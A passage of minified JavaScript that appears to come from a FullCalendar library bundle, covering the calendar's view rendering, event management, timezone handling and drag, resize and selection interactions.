-this.hitsNeededDepth&&this.releaseHits(),this.callChildren("hitsNotNeeded",arguments)},t.prototype.prepareHits=function(){},t.prototype.releaseHits=function(){},t.prototype.queryHit=function(e,t){var n,r,i=this.childrenByUid;for(n in i)if(r=i[n].queryHit(e,t))break;return r},t.prototype.getSafeHitFootprint=function(e){var t=this.getHitFootprint(e);return this.dateProfile.activeUnzonedRange.containsRange(t.unzonedRange)?t:null},t.prototype.getHitFootprint=function(e){},t.prototype.getHitEl=function(e){},t.prototype.eventRangesToEventFootprints=function(e){var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.eventRangeToEventFootprints(e[t]));return n},t.prototype.eventRangeToEventFootprints=function(e){return[l.eventRangeToEventFootprint(e)]},t.prototype.eventFootprintsToSegs=function(e){var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.eventFootprintToSegs(e[t]));return n},t.prototype.eventFootprintToSegs=function(e){var t,n,r,i=e.componentFootprint.unzonedRange;for(t=this.componentFootprintToSegs(e.componentFootprint),n=0;n<t.length;n++)r=t[n],i.isStart||(r.isStart=!1),i.isEnd||(r.isEnd=!1),r.footprint=e;return t},t.prototype.componentFootprintToSegs=function(e){return[]},t.prototype.callChildren=function(e,t){this.iterChildren((function(n){n[e].apply(n,t)}))},t.prototype.iterChildren=function(e){var t,n=this.childrenByUid;for(t in n)e(n[t])},t.prototype._getCalendar=function(){return this.calendar||this.view.calendar},t.prototype._getView=function(){return this.view},t.prototype._getDateProfile=function(){return this._getView().get("dateProfile")},t.prototype.buildGotoAnchorHtml=function(e,t,n){var r,s,d,u;return i.isPlainObject(e)?(r=e.date,s=e.type,d=e.forceOff):r=e,u={date:(r=o.default(r)).format("YYYY-MM-DD"),type:s||"day"},"string"==typeof t&&(n=t,t=null),t=t?" "+a.attrsToStr(t):"",n=n||"",!d&&this.opt("navLinks")?"<a"+t+' data-goto="'+a.htmlEscape(JSON.stringify(u))+'">'+n+"</a>":"<span"+t+">"+n+"</span>"},t.prototype.getAllDayHtml=function(){return this.opt("allDayHtml")||a.htmlEscape(this.opt("allDayText"))},t.prototype.getDayClasses=function(e,t){var n,r=this._getView(),i=[];return this.dateProfile.activeUnzonedRange.containsDate(e)?(i.push("fc-"+a.dayIDs[e.day()]),r.isDateInOtherMonth(e,this.dateProfile)&&i.push("fc-other-month"),n=r.calendar.getNow(),e.isSame(n,"day")?(i.push("fc-today"),!0!==t&&i.push(r.calendar.theme.getClass("today"))):e<n?i.push("fc-past"):i.push("fc-future")):i.push("fc-disabled-day"),i},t.prototype.formatRange=function(e,t,n,r){var i=e.end;return t&&(i=i.clone().subtract(1)),d.formatRange(e.start,i,n,r,this.isRTL)},t.prototype.currentRangeAs=function(e){return this._getDateProfile().currentUnzonedRange.as(e)},t.prototype.computeDayRange=function(e){var t=this._getCalendar(),n=t.msToUtcMoment(e.startMs,!0),r=t.msToUtcMoment(e.endMs),i=+r.time(),s=r.clone().stripTime();return i&&i>=this.nextDayThreshold&&s.add(1,"days"),s<=n&&(s=n.clone().add(1,"days")),{start:n,end:s}},t.prototype.isMultiDayRange=function(e){var t=this.computeDayRange(e);return t.end.diff(t.start,"days")>1},t.guid=0,t}(u.default);function h(e){var t,n,r,i=[];for(t in e)for(n=e[t].eventInstances,r=0;r<n.length;r++)i.push(n[r].toLegacy());return i}t.default=c},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(0),s=n(4),a=n(33),o=n(225),d=n(23),u=n(13),l=n(7),c=n(257),h=n(258),m=n(259),p=n(217),f=n(32),_=n(11),y=n(5),g=n(12),v=n(16),M=n(220),L=n(218),D=n(38),Y=n(36),w=n(9),b=n(39),T=n(6),k=n(57),S=function(){function e(e,t){this.loadingLevel=0,this.ignoreUpdateViewSize=0,this.freezeContentHeightDepth=0,d.default.needed(),this.el=e,this.viewsByType={},this.optionsManager=new h.default(this,t),this.viewSpecManager=new m.default(this.optionsManager,this),this.initMomentInternals(),this.initCurrentDate(),this.initEventManager(),this.constraints=new p.default(this.eventManager,this),this.constructed()}return e.prototype.constructed=function(){},e.prototype.getView=function(){return this.view},e.prototype.publiclyTrigger=function(e,t){var n,i,s=this.opt(e);if(r.isPlainObject(t)?(n=t.context,i=t.args):r.isArray(t)&&(i=t),null==n&&(n=this.el[0]),i||(i=[]),this.triggerWith(e,n,i),s)return s.apply(n,i)},e.prototype.hasPublicHandlers=function(e){return this.hasHandlers(e)||this.opt(e)},e.prototype.option=function(e,t){var n;if("string"==typeof e){if(void 0===t)return this.optionsManager.get(e);(n={})[e]=t,this.optionsManager.add(n)}else"object"==typeof e&&this.optionsManager.add(e)},e.prototype.opt=function(e){return this.optionsManager.get(e)},e.prototype.instantiateView=function(e){var t=this.viewSpecManager.getViewSpec(e);if(!t)throw new Error('View type "'+e+'" is not valid');return new t.class(this,t)},e.prototype.isValidViewType=function(e){return Boolean(this.viewSpecManager.getViewSpec(e))},e.prototype.changeView=function(e,t){t&&(t.start&&t.end?this.optionsManager.recordOverrides({visibleRange:t}):this.currentDate=this.moment(t).stripZone()),this.renderView(e)},e.prototype.zoomTo=function(e,t){var n;t=t||"day",n=this.viewSpecManager.getViewSpec(t)||this.viewSpecManager.getUnitViewSpec(t),this.currentDate=e.clone(),this.renderView(n?n.type:null)},e.prototype.initCurrentDate=function(){var e=this.opt("defaultDate");this.currentDate=null!=e?this.moment(e).stripZone():this.getNow()},e.prototype.prev=function(){var e=this.view,t=e.dateProfileGenerator.buildPrev(e.get("dateProfile"));t.isValid&&(this.currentDate=t.date,this.renderView())},e.prototype.next=function(){var e=this.view,t=e.dateProfileGenerator.buildNext(e.get("dateProfile"));t.isValid&&(this.currentDate=t.date,this.renderView())},e.prototype.prevYear=function(){this.currentDate.add(-1,"years"),this.renderView()},e.prototype.nextYear=function(){this.currentDate.add(1,"years"),this.renderView()},e.prototype.today=function(){this.currentDate=this.getNow(),this.renderView()},e.prototype.gotoDate=function(e){this.currentDate=this.moment(e).stripZone(),this.renderView()},e.prototype.incrementDate=function(e){this.currentDate.add(i.duration(e)),this.renderView()},e.prototype.getDate=function(){return this.applyTimezone(this.currentDate)},e.prototype.pushLoading=function(){this.loadingLevel++||this.publiclyTrigger("loading",[!0,this.view])},e.prototype.popLoading=function(){--this.loadingLevel||this.publiclyTrigger("loading",[!1,this.view])},e.prototype.render=function(){this.contentEl?this.elementVisible()&&(this.calcSize(),this.updateViewSize()):this.initialRender()},e.prototype.initialRender=function(){var e=this,t=this.el;t.addClass("fc"),t.on("click.fc","a[data-goto]",(function(t){var n=r(t.currentTarget).data("goto"),i=e.moment(n.date),a=n.type,o=e.view.opt("navLink"+s.capitaliseFirstLetter(a)+"Click");"function"==typeof o?o(i,t):("string"==typeof o&&(a=o),e.zoomTo(i,a))})),this.optionsManager.watch("settingTheme",["?theme","?themeSystem"],(function(n){var r=new(k.getThemeSystemClass(n.themeSystem||n.theme))(e.optionsManager),i=r.getClass("widget");e.theme=r,i&&t.addClass(i)}),(function(){var n=e.theme.getClass("widget");e.theme=null,n&&t.removeClass(n)})),this.optionsManager.watch("settingBusinessHourGenerator",["?businessHours"],(function(t){e.businessHourGenerator=new L.default(t.businessHours,e),e.view&&e.view.set("businessHourGenerator",e.businessHourGenerator)}),(function(){e.businessHourGenerator=null})),this.optionsManager.watch("applyingDirClasses",["?isRTL","?locale"],(function(e){t.toggleClass("fc-ltr",!e.isRTL),t.toggleClass("fc-rtl",e.isRTL)})),this.contentEl=r("<div class='fc-view-container'>").prependTo(t),this.initToolbars(),this.renderHeader(),this.renderFooter(),this.renderView(this.opt("defaultView")),this.opt("handleWindowResize")&&r(window).resize(this.windowResizeProxy=s.debounce(this.windowResize.bind(this),this.opt("windowResizeDelay")))},e.prototype.destroy=function(){this.view&&this.clearView(),this.toolbarsManager.proxyCall("removeElement"),this.contentEl.remove(),this.el.removeClass("fc fc-ltr fc-rtl"),this.optionsManager.unwatch("settingTheme"),this.optionsManager.unwatch("settingBusinessHourGenerator"),this.el.off(".fc"),this.windowResizeProxy&&(r(window).unbind("resize",this.windowResizeProxy),this.windowResizeProxy=null),d.default.unneeded()},e.prototype.elementVisible=function(){return this.el.is(":visible")},e.prototype.bindViewHandlers=function(e){var t=this;e.watch("titleForCalendar",["title"],(function(n){e===t.view&&t.setToolbarsTitle(n.title)})),e.watch("dateProfileForCalendar",["dateProfile"],(function(n){e===t.view&&(t.currentDate=n.dateProfile.date,t.updateToolbarButtons(n.dateProfile))}))},e.prototype.unbindViewHandlers=function(e){e.unwatch("titleForCalendar"),e.unwatch("dateProfileForCalendar")},e.prototype.renderView=function(e){var t,n=this.view;this.freezeContentHeight(),n&&e&&n.type!==e&&this.clearView(),!this.view&&e&&(t=this.view=this.viewsByType[e]||(this.viewsByType[e]=this.instantiateView(e)),this.bindViewHandlers(t),t.startBatchRender(),t.setElement(r("<div class='fc-view fc-"+e+"-view'>").appendTo(this.contentEl)),this.toolbarsManager.proxyCall("activateButton",e)),this.view&&(this.view.get("businessHourGenerator")!==this.businessHourGenerator&&this.view.set("businessHourGenerator",this.businessHourGenerator),this.view.setDate(this.currentDate),t&&t.stopBatchRender()),this.thawContentHeight()},e.prototype.clearView=function(){var e=this.view;this.toolbarsManager.proxyCall("deactivateButton",e.type),this.unbindViewHandlers(e),e.removeElement(),e.unsetDate(),this.view=null},e.prototype.reinitView=function(){var e=this.view,t=e.queryScroll();this.freezeContentHeight(),this.clearView(),this.calcSize(),this.renderView(e.type),this.view.applyScroll(t),this.thawContentHeight()},e.prototype.getSuggestedViewHeight=function(){return null==this.suggestedViewHeight&&this.calcSize(),this.suggestedViewHeight},e.prototype.isHeightAuto=function(){return"auto"===this.opt("contentHeight")||"auto"===this.opt("height")},e.prototype.updateViewSize=function(e){void 0===e&&(e=!1);var t,n=this.view;if(!this.ignoreUpdateViewSize&&n)return e&&(this.calcSize(),t=n.queryScroll()),this.ignoreUpdateViewSize++,n.updateSize(this.getSuggestedViewHeight(),this.isHeightAuto(),e),this.ignoreUpdateViewSize--,e&&n.applyScroll(t),!0},e.prototype.calcSize=function(){this.elementVisible()&&this._calcSize()},e.prototype._calcSize=function(){var e=this.opt("contentHeight"),t=this.opt("height");this.suggestedViewHeight="number"==typeof e?e:"function"==typeof e?e():"number"==typeof t?t-this.queryToolbarsHeight():"function"==typeof t?t()-this.queryToolbarsHeight():"parent"===t?this.el.parent().height()-this.queryToolbarsHeight():Math.round(this.contentEl.width()/Math.max(this.opt("aspectRatio"),.5))},e.prototype.windowResize=function(e){e.target===window&&this.view&&this.view.isDatesRendered&&this.updateViewSize(!0)&&this.publiclyTrigger("windowResize",[this.view])},e.prototype.freezeContentHeight=function(){this.freezeContentHeightDepth++||this.forceFreezeContentHeight()},e.prototype.forceFreezeContentHeight=function(){this.contentEl.css({width:"100%",height:this.contentEl.height(),overflow:"hidden"})},e.prototype.thawContentHeight=function(){this.freezeContentHeightDepth--,this.contentEl.css({width:"",height:"",overflow:""}),this.freezeContentHeightDepth&&this.forceFreezeContentHeight()},e.prototype.initToolbars=function(){this.header=new c.default(this,this.computeHeaderOptions()),this.footer=new c.default(this,this.computeFooterOptions()),this.toolbarsManager=new o.default([this.header,this.footer])},e.prototype.computeHeaderOptions=function(){return{extraClasses:"fc-header-toolbar",layout:this.opt("header")}},e.prototype.computeFooterOptions=function(){return{extraClasses:"fc-footer-toolbar",layout:this.opt("footer")}},e.prototype.renderHeader=function(){var e=this.header;e.setToolbarOptions(this.computeHeaderOptions()),e.render(),e.el&&this.el.prepend(e.el)},e.prototype.renderFooter=function(){var e=this.footer;e.setToolbarOptions(this.computeFooterOptions()),e.render(),e.el&&this.el.append(e.el)},e.prototype.setToolbarsTitle=function(e){this.toolbarsManager.proxyCall("updateTitle",e)},e.prototype.updateToolbarButtons=function(e){var t=this.getNow(),n=this.view,r=n.dateProfileGenerator.build(t),i=n.dateProfileGenerator.buildPrev(n.get("dateProfile")),s=n.dateProfileGenerator.buildNext(n.get("dateProfile"));this.toolbarsManager.proxyCall(r.isValid&&!e.currentUnzonedRange.containsDate(t)?"enableButton":"disableButton","today"),this.toolbarsManager.proxyCall(i.isValid?"enableButton":"disableButton","prev"),this.toolbarsManager.proxyCall(s.isValid?"enableButton":"disableButton","next")},e.prototype.queryToolbarsHeight=function(){return this.toolbarsManager.items.reduce((function(e,t){return e+(t.el?t.el.outerHeight(!0):0)}),0)},e.prototype.select=function(e,t){this.view.select(this.buildSelectFootprint.apply(this,arguments))},e.prototype.unselect=function(){this.view&&this.view.unselect()},e.prototype.buildSelectFootprint=function(e,t){var n,r=this.moment(e).stripZone();return n=t?this.moment(t).stripZone():r.hasTime()?r.clone().add(this.defaultTimedEventDuration):r.clone().add(this.defaultAllDayEventDuration),new g.default(new y.default(r,n),!r.hasTime())},e.prototype.initMomentInternals=function(){var e=this;this.defaultAllDayEventDuration=i.duration(this.opt("defaultAllDayEventDuration")),this.defaultTimedEventDuration=i.duration(this.opt("defaultTimedEventDuration")),this.optionsManager.watch("buildingMomentLocale",["?locale","?monthNames","?monthNamesShort","?dayNames","?dayNamesShort","?firstDay","?weekNumberCalculation"],(function(t){var n,r=t.weekNumberCalculation,i=t.firstDay;"iso"===r&&(r="ISO");var s=Object.create(f.getMomentLocaleData(t.locale));t.monthNames&&(s._months=t.monthNames),t.monthNamesShort&&(s._monthsShort=t.monthNamesShort),t.dayNames&&(s._weekdays=t.dayNames),t.dayNamesShort&&(s._weekdaysShort=t.dayNamesShort),null==i&&"ISO"===r&&(i=1),null!=i&&((n=Object.create(s._week)).dow=i,s._week=n),"ISO"!==r&&"local"!==r&&"function"!=typeof r||(s._fullCalendar_weekCalc=r),e.localeData=s,e.currentDate&&e.localizeMoment(e.currentDate)}))},e.prototype.moment=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return"local"===this.opt("timezone")?(e=_.default.apply(null,t)).hasTime()&&e.local():e="UTC"===this.opt("timezone")?_.default.utc.apply(null,t):_.default.parseZone.apply(null,t),this.localizeMoment(e),e},e.prototype.msToMoment=function(e,t){var n=_.default.utc(e);return t?n.stripTime():n=this.applyTimezone(n),this.localizeMoment(n),n},e.prototype.msToUtcMoment=function(e,t){var n=_.default.utc(e);return t&&n.stripTime(),this.localizeMoment(n),n},e.prototype.localizeMoment=function(e){e._locale=this.localeData},e.prototype.getIsAmbigTimezone=function(){return"local"!==this.opt("timezone")&&"UTC"!==this.opt("timezone")},e.prototype.applyTimezone=function(e){if(!e.hasTime())return e.clone();var t,n=this.moment(e.toArray()),r=e.time().asMilliseconds()-n.time().asMilliseconds();return r&&(t=n.clone().add(r),e.time().asMilliseconds()-t.time().asMilliseconds()==0&&(n=t)),n},e.prototype.footprintToDateProfile=function(e,t){void 0===t&&(t=!1);var n,r=_.default.utc(e.unzonedRange.startMs);return t||(n=_.default.utc(e.unzonedRange.endMs)),e.isAllDay?(r.stripTime(),n&&n.stripTime()):(r=this.applyTimezone(r),n&&(n=this.applyTimezone(n))),this.localizeMoment(r),n&&this.localizeMoment(n),new v.default(r,n,this)},e.prototype.getNow=function(){var e=this.opt("now");return"function"==typeof e&&(e=e()),this.moment(e).stripZone()},e.prototype.humanizeDuration=function(e){return e.locale(this.opt("locale")).humanize()},e.prototype.parseUnzonedRange=function(e){var t=null,n=null;return e.start&&(t=this.moment(e.start).stripZone()),e.end&&(n=this.moment(e.end).stripZone()),t||n?t&&n&&n.isBefore(t)?null:new y.default(t,n):null},e.prototype.initEventManager=function(){var e=this,t=new M.default(this),n=this.opt("eventSources")||[],r=this.opt("events");this.eventManager=t,r&&n.unshift(r),t.on("release",(function(t){e.trigger("eventsReset",t)})),t.freeze(),n.forEach((function(n){var r=D.default.parse(n,e);r&&t.addSource(r)})),t.thaw()},e.prototype.requestEvents=function(e,t){return this.eventManager.requestEvents(e,t,this.opt("timezone"),!this.opt("lazyFetching"))},e.prototype.getEventEnd=function(e){return e.end?e.end.clone():this.getDefaultEventEnd(e.allDay,e.start)},e.prototype.getDefaultEventEnd=function(e,t){var n=t.clone();return e?n.stripTime().add(this.defaultAllDayEventDuration):n.add(this.defaultTimedEventDuration),this.getIsAmbigTimezone()&&n.stripZone(),n},e.prototype.rerenderEvents=function(){this.view.flash("displayingEvents")},e.prototype.refetchEvents=function(){this.eventManager.refetchAllSources()},e.prototype.renderEvents=function(e,t){this.eventManager.freeze();for(var n=0;n<e.length;n++)this.renderEvent(e[n],t);this.eventManager.thaw()},e.prototype.renderEvent=function(e,t){void 0===t&&(t=!1);var n=this.eventManager,r=Y.default.parse(e,e.source||n.stickySource);r&&n.addEventDef(r,t)},e.prototype.removeEvents=function(e){var t,n=this.eventManager,r=[],i={};if(null==e)n.removeAllEventDefs();else{for(n.getEventInstances().forEach((function(e){r.push(e.toLegacy())})),r=x(r,e),t=0;t<r.length;t++)i[this.eventManager.getEventDefByUid(r[t]._id).id]=!0;for(t in n.freeze(),i)n.removeEventDefsById(t);n.thaw()}},e.prototype.clientEvents=function(e){var t=[];return this.eventManager.getEventInstances().forEach((function(e){t.push(e.toLegacy())})),x(t,e)},e.prototype.updateEvents=function(e){this.eventManager.freeze();for(var t=0;t<e.length;t++)this.updateEvent(e[t]);this.eventManager.thaw()},e.prototype.updateEvent=function(e){var t,n,r=this.eventManager.getEventDefByUid(e._id);r instanceof w.default&&(t=r.buildInstance(),n=b.default.createFromRawProps(t,e,null),this.eventManager.mutateEventsWithId(r.id,n))},e.prototype.getEventSources=function(){return this.eventManager.otherSources.slice()},e.prototype.getEventSourceById=function(e){return this.eventManager.getSourceById(T.default.normalizeId(e))},e.prototype.addEventSource=function(e){var t=D.default.parse(e,this);t&&this.eventManager.addSource(t)},e.prototype.removeEventSources=function(e){var t,n,r=this.eventManager;if(null==e)this.eventManager.removeAllSources();else{for(t=r.multiQuerySources(e),r.freeze(),n=0;n<t.length;n++)r.removeSource(t[n]);r.thaw()}},e.prototype.removeEventSource=function(e){var t,n=this.eventManager,r=n.querySources(e);for(n.freeze(),t=0;t<r.length;t++)n.removeSource(r[t]);n.thaw()},e.prototype.refetchEventSources=function(e){var t,n=this.eventManager,r=n.multiQuerySources(e);for(n.freeze(),t=0;t<r.length;t++)n.refetchSource(r[t]);n.thaw()},e.defaults=a.globalDefaults,e.englishDefaults=a.englishDefaults,e.rtlDefaults=a.rtlDefaults,e}();function x(e,t){return null==t?e:r.isFunction(t)?e.filter(t):(t+="",e.filter((function(e){return e.id==t||e._id===t})))}t.default=S,u.default.mixInto(S),l.default.mixInto(S)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(0),a=n(18),o=n(4),d=n(11),u=n(7),l=n(17),c=n(9),h=n(20),m=n(6),p=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.isDragging=!1,t}return r.__extends(t,e),t.prototype.end=function(){this.dragListener&&this.dragListener.endInteraction()},t.prototype.bindToDocument=function(){this.listenTo(i(document),{dragstart:this.handleDragStart,sortstart:this.handleDragStart})},t.prototype.unbindFromDocument=function(){this.stopListeningTo(i(document))},t.prototype.handleDragStart=function(e,t){var n,r;this.opt("droppable")&&(n=i((t?t.item:null)||e.target),r=this.opt("dropAccept"),(i.isFunction(r)?r.call(n[0],n):n.is(r))&&(this.isDragging||this.listenToExternalDrag(n,e,t)))},t.prototype.listenToExternalDrag=function(e,t,n){var r,d=this,u=this.component,c=this.view,m=function(e){var t,n,r,o,d=a.dataAttrPrefix;return d&&(d+="-"),(t=e.data(d+"event")||null)&&(null==(n=(t="object"==typeof t?i.extend({},t):{}).start)&&(n=t.time),r=t.duration,o=t.stick,delete t.start,delete t.time,delete t.duration,delete t.stick),null==n&&(n=e.data(d+"start")),null==n&&(n=e.data(d+"time")),null==r&&(r=e.data(d+"duration")),null==o&&(o=e.data(d+"stick")),n=null!=n?s.duration(n):null,r=null!=r?s.duration(r):null,o=Boolean(o),{eventProps:t,startTime:n,duration:r,stick:o}}(e);(this.dragListener=new l.default(u,{interactionStart:function(){d.isDragging=!0},hitOver:function(e){var t,n=!0,i=e.component.getSafeHitFootprint(e);i&&(r=d.computeExternalDrop(i,m))?(t=new h.default(r.buildInstances()),n=m.eventProps?u.isEventInstanceGroupAllowed(t):u.isExternalInstanceGroupAllowed(t)):n=!1,n||(r=null,o.disableCursor()),r&&u.renderDrag(u.eventRangesToEventFootprints(t.sliceRenderRanges(u.dateProfile.renderUnzonedRange,c.calendar)))},hitOut:function(){r=null},hitDone:function(){o.enableCursor(),u.unrenderDrag()},interactionEnd:function(t){r&&c.reportExternalDrop(r,Boolean(m.eventProps),Boolean(m.stick),e,t,n),d.isDragging=!1,d.dragListener=null}})).startDrag(t)},t.prototype.computeExternalDrop=function(e,t){var n,r=this.view.calendar,s=d.default.utc(e.unzonedRange.startMs).stripZone();return e.isAllDay&&(t.startTime?s.time(t.startTime):s.stripTime()),t.duration&&(n=s.clone().add(t.duration)),s=r.applyTimezone(s),n&&(n=r.applyTimezone(n)),c.default.parse(i.extend({},t.eventProps,{start:s,end:n}),new m.default(r))},t}(n(14).default);t.default=p,u.default.mixInto(p),a.dataAttrPrefix=""},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(39),o=n(40),d=n(17),u=function(e){function t(t,n){var r=e.call(this,t)||this;return r.isResizing=!1,r.eventPointing=n,r}return r.__extends(t,e),t.prototype.end=function(){this.dragListener&&this.dragListener.endInteraction()},t.prototype.bindToEl=function(e){var t=this.component;t.bindSegHandlerToEl(e,"mousedown",this.handleMouseDown.bind(this)),t.bindSegHandlerToEl(e,"touchstart",this.handleTouchStart.bind(this))},t.prototype.handleMouseDown=function(e,t){this.component.canStartResize(e,t)&&this.buildDragListener(e,i(t.target).is(".fc-start-resizer")).startInteraction(t,{distance:5})},t.prototype.handleTouchStart=function(e,t){this.component.canStartResize(e,t)&&this.buildDragListener(e,i(t.target).is(".fc-start-resizer")).startInteraction(t)},t.prototype.buildDragListener=function(e,t){var n,r,i=this,a=this.component,o=this.view,u=o.calendar,l=u.eventManager,c=e.el,h=e.footprint.eventDef,m=e.footprint.eventInstance;return this.dragListener=new d.default(a,{scroll:this.opt("dragScroll"),subjectEl:c,interactionStart:function(){n=!1},dragStart:function(t){n=!0,i.eventPointing.handleMouseout(e,t),i.segResizeStart(e,t)},hitOver:function(n,d,c){var m,p=!0,f=a.getSafeHitFootprint(c),_=a.getSafeHitFootprint(n);f&&_&&(r=t?i.computeEventStartResizeMutation(f,_,e.footprint):i.computeEventEndResizeMutation(f,_,e.footprint))?(m=l.buildMutatedEventInstanceGroup(h.id,r),p=a.isEventInstanceGroupAllowed(m)):p=!1,p?r.isEmpty()&&(r=null):(r=null,s.disableCursor()),r&&(o.hideEventsWithId(e.footprint.eventDef.id),o.renderEventResize(a.eventRangesToEventFootprints(m.sliceRenderRanges(a.dateProfile.renderUnzonedRange,u)),e))},hitOut:function(){r=null},hitDone:function(){o.unrenderEventResize(e),o.showEventsWithId(e.footprint.eventDef.id),s.enableCursor()},interactionEnd:function(t){n&&i.segResizeStop(e,t),r&&o.reportEventResize(m,r,c,t),i.dragListener=null}})},t.prototype.segResizeStart=function(e,t){this.isResizing=!0,this.component.publiclyTrigger("eventResizeStart",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.segResizeStop=function(e,t){this.isResizing=!1,this.component.publiclyTrigger("eventResizeStop",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.computeEventStartResizeMutation=function(e,t,n){var r,i,s=n.componentFootprint.unzonedRange,d=this.component.diffDates(t.unzonedRange.getStart(),e.unzonedRange.getStart());return s.getStart().add(d)<s.getEnd()&&((r=new o.default).setStartDelta(d),(i=new a.default).setDateMutation(r),i)},t.prototype.computeEventEndResizeMutation=function(e,t,n){var r,i,s=n.componentFootprint.unzonedRange,d=this.component.diffDates(t.unzonedRange.getEnd(),e.unzonedRange.getEnd());return s.getEnd().add(d)>s.getStart()&&((r=new o.default).setEndDelta(d),(i=new a.default).setDateMutation(r),i)},t}(n(14).default);t.default=u},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=n(39),a=n(40),o=n(59),d=n(17),u=n(226),l=function(e){function t(t,n){var r=e.call(this,t)||this;return r.isDragging=!1,r.eventPointing=n,r}return r.__extends(t,e),t.prototype.end=function(){this.dragListener&&this.dragListener.endInteraction()},t.prototype.getSelectionDelay=function(){var e=this.opt("eventLongPressDelay");return null==e&&(e=this.opt("longPressDelay")),e},t.prototype.bindToEl=function(e){var t=this.component;t.bindSegHandlerToEl(e,"mousedown",this.handleMousedown.bind(this)),t.bindSegHandlerToEl(e,"touchstart",this.handleTouchStart.bind(this))},t.prototype.handleMousedown=function(e,t){!this.component.shouldIgnoreMouse()&&this.component.canStartDrag(e,t)&&this.buildDragListener(e).startInteraction(t,{distance:5})},t.prototype.handleTouchStart=function(e,t){var n=this.component,r={delay:this.view.isEventDefSelected(e.footprint.eventDef)?0:this.getSelectionDelay()};n.canStartDrag(e,t)?this.buildDragListener(e).startInteraction(t,r):n.canStartSelection(e,t)&&this.buildSelectListener(e).startInteraction(t,r)},t.prototype.buildSelectListener=function(e){var t=this,n=this.view,r=e.footprint.eventDef,i=e.footprint.eventInstance;if(this.dragListener)return this.dragListener;var s=this.dragListener=new o.default({dragStart:function(e){s.isTouch&&!n.isEventDefSelected(r)&&i&&n.selectEventInstance(i)},interactionEnd:function(e){t.dragListener=null}});return s},t.prototype.buildDragListener=function(e){var t,n,r,s=this,a=this.component,o=this.view,l=o.calendar,c=l.eventManager,h=e.el,m=e.footprint.eventDef,p=e.footprint.eventInstance;if(this.dragListener)return this.dragListener;var f=this.dragListener=new d.default(o,{scroll:this.opt("dragScroll"),subjectEl:h,subjectCenter:!0,interactionStart:function(r){e.component=a,t=!1,(n=new u.default(e.el,{additionalClass:"fc-dragging",parentEl:o.el,opacity:f.isTouch?null:s.opt("dragOpacity"),revertDuration:s.opt("dragRevertDuration"),zIndex:2})).hide(),n.start(r)},dragStart:function(n){f.isTouch&&!o.isEventDefSelected(m)&&p&&o.selectEventInstance(p),t=!0,s.eventPointing.handleMouseout(e,n),s.segDragStart(e,n),o.hideEventsWithId(e.footprint.eventDef.id)},hitOver:function(t,d,u){var h,p,_,y=!0;e.hit&&(u=e.hit),h=u.component.getSafeHitFootprint(u),p=t.component.getSafeHitFootprint(t),h&&p&&(r=s.computeEventDropMutation(h,p,m))?(_=c.buildMutatedEventInstanceGroup(m.id,r),y=a.isEventInstanceGroupAllowed(_)):y=!1,y||(r=null,i.disableCursor()),r&&o.renderDrag(a.eventRangesToEventFootprints(_.sliceRenderRanges(a.dateProfile.renderUnzonedRange,l)),e,f.isTouch)?n.hide():n.show(),d&&(r=null)},hitOut:function(){o.unrenderDrag(e),n.show(),r=null},hitDone:function(){i.enableCursor()},interactionEnd:function(i){delete e.component,n.stop(!r,(function(){t&&(o.unrenderDrag(e),s.segDragStop(e,i)),o.showEventsWithId(e.footprint.eventDef.id),r&&o.reportEventDrop(p,r,h,i)})),s.dragListener=null}});return f},t.prototype.segDragStart=function(e,t){this.isDragging=!0,this.component.publiclyTrigger("eventDragStart",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.segDragStop=function(e,t){this.isDragging=!1,this.component.publiclyTrigger("eventDragStop",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,{},this.view]})},t.prototype.computeEventDropMutation=function(e,t,n){var r=new s.default;return r.setDateMutation(this.computeEventDateMutation(e,t)),r},t.prototype.computeEventDateMutation=function(e,t){var n,r,i=e.unzonedRange.getStart(),s=t.unzonedRange.getStart(),o=!1,d=!1,u=!1;return e.isAllDay!==t.isAllDay&&(o=!0,t.isAllDay?(u=!0,i.stripTime()):d=!0),n=this.component.diffDates(s,i),(r=new a.default).clearEnd=o,r.forceTimed=d,r.forceAllDay=u,r.setDateDelta(n),r},t}(n(14).default);t.default=l},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=n(17),a=n(12),o=n(5),d=function(e){function t(t){var n=e.call(this,t)||this;return n.dragListener=n.buildDragListener(),n}return r.__extends(t,e),t.prototype.end=function(){this.dragListener.endInteraction()},t.prototype.getDelay=function(){var e=this.opt("selectLongPressDelay");return null==e&&(e=this.opt("longPressDelay")),e},t.prototype.bindToEl=function(e){var t=this,n=this.component,r=this.dragListener;n.bindDateHandlerToEl(e,"mousedown",(function(e){t.opt("selectable")&&!n.shouldIgnoreMouse()&&r.startInteraction(e,{distance:t.opt("selectMinDistance")})})),n.bindDateHandlerToEl(e,"touchstart",(function(e){t.opt("selectable")&&!n.shouldIgnoreTouch()&&r.startInteraction(e,{delay:t.getDelay()})})),i.preventSelection(e)},t.prototype.buildDragListener=function(){var e,t=this,n=this.component;return new s.default(n,{scroll:this.opt("dragScroll"),interactionStart:function(){e=null},dragStart:function(e){t.view.unselect(e)},hitOver:function(r,s,a){var o,d;a&&(o=n.getSafeHitFootprint(a),d=n.getSafeHitFootprint(r),(e=o&&d?t.computeSelection(o,d):null)?n.renderSelectionFootprint(e):!1===e&&i.disableCursor())},hitOut:function(){e=null,n.unrenderSelection()},hitDone:function(){i.enableCursor()},interactionEnd:function(n,r){!r&&e&&t.view.reportSelection(e,n)}})},t.prototype.computeSelection=function(e,t){var n=this.computeSelectionFootprint(e,t);return!(n&&!this.isSelectionFootprintAllowed(n))&&n},t.prototype.computeSelectionFootprint=function(e,t){var n=[e.unzonedRange.startMs,e.unzonedRange.endMs,t.unzonedRange.startMs,t.unzonedRange.endMs];return n.sort(i.compareNumbers),new a.default(new 